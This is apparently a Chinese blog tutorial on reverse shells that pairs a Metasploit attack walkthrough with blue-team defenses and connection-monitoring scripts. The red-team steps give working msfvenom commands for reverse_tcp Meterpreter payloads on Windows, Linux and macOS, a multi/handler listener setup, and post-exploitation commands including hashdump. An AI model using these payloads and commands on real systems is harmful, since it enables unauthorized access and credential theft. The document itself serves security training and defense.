逆向Shell实战——红队技巧 vs 蓝队防御全攻略

发布于:2025-08-19 ⋅ 阅读:(11) ⋅ 点赞:(0)

逆向Shell依旧是渗透测试与对抗演练中的核心工具,它清晰地展现了系统利用与防御的边界。本指南将逐步讲解使用Metasploit进行进攻操作,并提供全面的防御策略,适用于专业安全运营团队。


理解逆向Shell

逆向Shell是一种由目标主机主动连接回监听主机的Shell会话,从而允许攻击方执行命令。与传统入站连接的Shell不同,逆向Shell利用出站网络策略进行通信,在现代企业环境中更隐蔽、更有效。


红队:使用Metasploit的进攻流程

Metasploit是逆向Shell操作中最灵活的框架之一。以下是专业、逐步的进攻流程


步骤1:侦察

  • 确定目标操作系统、服务和漏洞。
  • 工具:nmapmasscanshodan
  • 示例扫描:
nmap -A -p- 192.168.1.100

步骤2:监听器设置

  • 启动Metasploit处理器接收目标连接。
    在这里插入图片描述
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.10
set LPORT 4444
exploit -j
  • 处理器后台运行(-j),等待目标连接。

步骤3:生成Payload

  • 根据目标系统生成适合的Payload:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o shell.exe
  • Linux示例:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o shell.elf
  • MacOS示例:
msfvenom -p osx/x64/meterpreter_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f macho -o shell.macho

步骤4:Payload投递

  • 可通过钓鱼邮件、文件上传或漏洞利用进行投递。
  • 强调在专业演练中隐蔽性与社会工程学的重要性。

步骤5:Payload执行

  • 一旦执行,逆向Shell会连接回Metasploit处理器。

  • Meterpreter会话提供:

    • 文件系统访问
    • 命令执行
    • 权限提升模块

步骤6:后渗透操作

  • 探索系统、权限提升、横向移动(在授权环境下)。
  • 示例:
getuid
sysinfo
hashdump

步骤7:可选持久化(仅实验/授权环境)

  • 创建计划任务、注册表项或服务保持访问。
  • 强调此步骤仅限实验室或红队授权演练。

蓝队:防御策略指南

防御操作需覆盖预防、检测与响应,针对逆向Shell生命周期的每个阶段。


1. 侦察防御

  • 使用IDS/IPS检测扫描行为。
  • 限制暴露面:关闭未使用端口、网络分段、部署蜜罐。

2. 监听器检测

  • 监控内部终端异常监听进程。
  • EDR可对异常TCP/UDP监听发出告警。

在前面的理论防御中,我们提到需要监控入站连接、检测异常流量。下面提供一个企业级蓝队脚本示例,可用于实时监控TCP入站连接,并记录来源IP和目标端口,便于后续分析或告警。

Linux/MacOS:
#!/bin/bash
# ©2025 钟智强
# 作者: 钟智强
# 邮箱: johnmelodymel@qq.com
##
# 入站TCP连接监控工具
# 版本: 1.0.0

# 日志文件路径
LOG_FILE="$HOME/inbound_connections.log"
TMP_FILE="/tmp/current_connections.tmp"

# 初始化日志文件
if [ ! -f "$LOG_FILE" ]; then
    echo "时间戳 | 来源IP | 目标端口 | 服务说明" >"$LOG_FILE"
fi

echo "开始监控入站TCP连接..."

# 函数:根据端口号返回服务说明
explain_port() {
    case "$1" in
    22) echo "SSH - 安全远程访问协议" ;;
    80) echo "HTTP - 未加密网页流量" ;;
    443) echo "HTTPS - 加密网页流量" ;;
    3306) echo "MySQL 数据库默认端口" ;;
    5432) echo "PostgreSQL 数据库默认端口" ;;
    6379) echo "Redis 内存数据库端口" ;;
    27017) echo "MongoDB NoSQL数据库端口" ;;
    21) echo "FTP 文件传输协议" ;;
    25) echo "SMTP 邮件发送协议" ;;
    3389) echo "RDP 远程桌面协议" ;;
    8080) echo "HTTP-Alt - 开发或代理常用端口" ;;
    8081) echo "HTTP-备用端口" ;;
    5228) echo "Google Play Services 推送端口" ;;
    5223) echo "Apple Push Notification Service 推送端口" ;;
    110) echo "POP3 邮件接收协议" ;;
    143) echo "IMAP 邮件同步协议" ;;
    993) echo "IMAPS - 加密IMAP协议" ;;
    465) echo "SMTPS - 加密SMTP协议" ;;
    5900) echo "VNC 远程桌面访问" ;;
    11211) echo "Memcached 内存缓存系统" ;;
    69) echo "TFTP 简易文件传输协议" ;;
    161) echo "SNMP 网络管理协议" ;;
    8443) echo "HTTPS-Alt 安全网站备用端口" ;;
    *) echo "未知端口" ;;
    esac
}

# 无限循环,每10秒检查一次TCP入站连接
while true; do
    # 获取当前ESTABLISHED状态的TCP连接(排除本地环回地址)
    lsof -iTCP -nP | grep ESTABLISHED | grep -v "127.0.0.1" >"$TMP_FILE"

    while read -r line; do
        # 提取远程IP和本地端口
        remote=$(echo "$line" | awk '{print $9}' | awk -F'->' '{print $2}')
        src_ip=$(echo "$remote" | awk -F':' '{print $1}')
        dst_port=$(echo "$remote" | awk -F':' '{print $2}')
        timestamp=$(date '+%Y-%m-%d %H:%M:%S')

        # 日志去重
        grep -F "$src_ip" "$LOG_FILE" | grep -F "$dst_port" >/dev/null
        if [ $? -ne 0 ]; then
            port_desc=$(explain_port "$dst_port")
            echo "$timestamp | $src_ip | $dst_port | $port_desc" >>"$LOG_FILE"
            echo "新入站连接:$src_ip -> 本地端口 $dst_port ($port_desc)"
        fi
    done <"$TMP_FILE"

    sleep 10
done

Windows:
$LogFile = "$HOME\inbound_connections.log"
$TmpFile = "$env:TEMP\current_connections.tmp"

Set-ExecutionPolicy RemoteSigned -Scope CurrentUser

# Initialize log file
if (-Not (Test-Path $LogFile)) {
    "Timestamp | Source IP | Destination Port" | Out-File -FilePath $LogFile -Encoding utf8
}

Write-Host "Starting inbound connection monitoring..."


function Show-Spinner {
    $spinner = @('|','/','-','\')
    for ($j = 0; $j -lt 10; $j++) {
        $char = $spinner[$j % $spinner.Length]
        Write-Host -NoNewline "`r[INFO] Monitoring in progress... $char"
        Start-Sleep -Milliseconds 200
    }

    Write-Host "`r" -NoNewline
}

function Describe-Port {
    param([int]$Port)
    switch ($Port) {
	    22     { "SSH - 安全远程访问协议" }
	    80     { "HTTP - 未加密网页流量" }
	    443    { "HTTPS - 加密网页流量" }
	    3306   { "MySQL - 关系型数据库" }
	    5432   { "PostgreSQL - 关系型数据库" }
	    6379   { "Redis - 内存数据存储/缓存" }
	    27017  { "MongoDB - NoSQL数据库" }
	    21     { "FTP - 文件传输协议" }
	    25     { "SMTP - 邮件发送协议" }
	    3389   { "RDP - 远程桌面协议" }
	    8080   { "HTTP备用端口 - 开发/测试环境常用" }
	    8081   { "HTTP开发端口 - Web开发常用" }
	    5228   { "Google Play 服务 - 推送与同步" }
	    5223   { "APNs - 苹果推送通知服务" }
	    110    { "POP3 - 邮件接收协议" }
	    143    { "IMAP - 邮件同步协议" }
	    993    { "IMAPS - 加密IMAP协议" }
	    465    { "SMTPS - 加密SMTP协议" }
	    5900   { "VNC - 远程桌面访问" }
	    11211  { "Memcached - 分布式内存缓存" }
	    69     { "TFTP - 简易文件传输协议" }
	    161    { "SNMP - 网络监控与管理协议" }
	    8443   { "HTTPS备用端口 - 安全开发/测试环境常用" }
	    Default { "未知端口" }
	}
}

while ($true) {
    Show-Spinner

    # Get all ESTABLISHED TCP connections excluding local ones
    $connections = Get-NetTCPConnection -State Established | Where-Object {
        $_.RemoteAddress -ne "127.0.0.1" -and $_.RemoteAddress -ne "::1"
    }

    $connections | ForEach-Object {
        $src_ip = $_.RemoteAddress
        $dst_port = $_.LocalPort
        $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"

        $entryLine = "$timestamp | $src_ip | $dst_port"
        $logExists = Select-String -Path $LogFile -Pattern "$src_ip.*$dst_port" -Quiet

        if (-Not $logExists) {
            $port_info = Describe-Port $dst_port
            "$entryLine ($port_info)" | Out-File -FilePath $LogFile -Append -Encoding utf8
            Write-Host "[NEW] Connection from $src_ip �Local Port $dst_port ($port_info)"
        }
    }

    Start-Sleep -Seconds 10
}


3. Payload检测

  • 执行应用白名单和脚本阻断策略。
  • 监控PowerShell、Python或可执行文件发起的外部连接。
  • 示例:Sysmon规则检测外部PowerShell连接。

4. Payload投递防御

  • 邮件网关附件沙箱化。
  • 全面打补丁降低漏洞利用风险。
  • 用户安全意识培训,防钓鱼与社会工程攻击。

5. 执行与Shell检测

  • 监控异常IP或端口的出站连接。
  • 关联网络流量与终端日志,识别信标行为。
  • EDR可检测非交互式Shell会话。

6. 后渗透防御

  • 检测异常权限提升行为。
  • 审计文件访问、进程创建与横向移动尝试。
  • 利用异常检测工具标记异常系统行为。

7. 持久化与清理防御

  • 监控启动脚本、cron任务、注册表项的未授权变动。
  • 启用不可篡改日志和关键配置变更告警。
  • 事后取证分析还原攻击链条。

红队 vs 蓝队阶段对照表

阶段 红队进攻 蓝队防御
侦察 网络扫描(nmapmasscan 检测扫描、关闭未用端口、网络分段
监听器设置 Metasploit监听(msfconsole 监控异常监听与开放端口
Payload生成 msfvenom生成Payload 应用白名单、脚本监控
Payload投递 钓鱼、漏洞利用 邮件沙箱化、打补丁、用户培训
执行 Payload运行,建立逆向Shell 出站监控、异常检测
后渗透 命令执行、权限提升 监控异常活动、权限滥用
持久化 可选后门或计划任务 监控启动任务、注册表项、服务
清理 删除日志、掩盖痕迹 不可篡改日志、取证关联分析

请记住,本教程仅用于学习、渗透测试授权实验室和防御研究。不要将这些技术用于非法入侵或破坏他人财产。尊重法律与道德,是每一个安全从业者的底线。


网站公告

今日签到

点亮在社区的每一天
去签到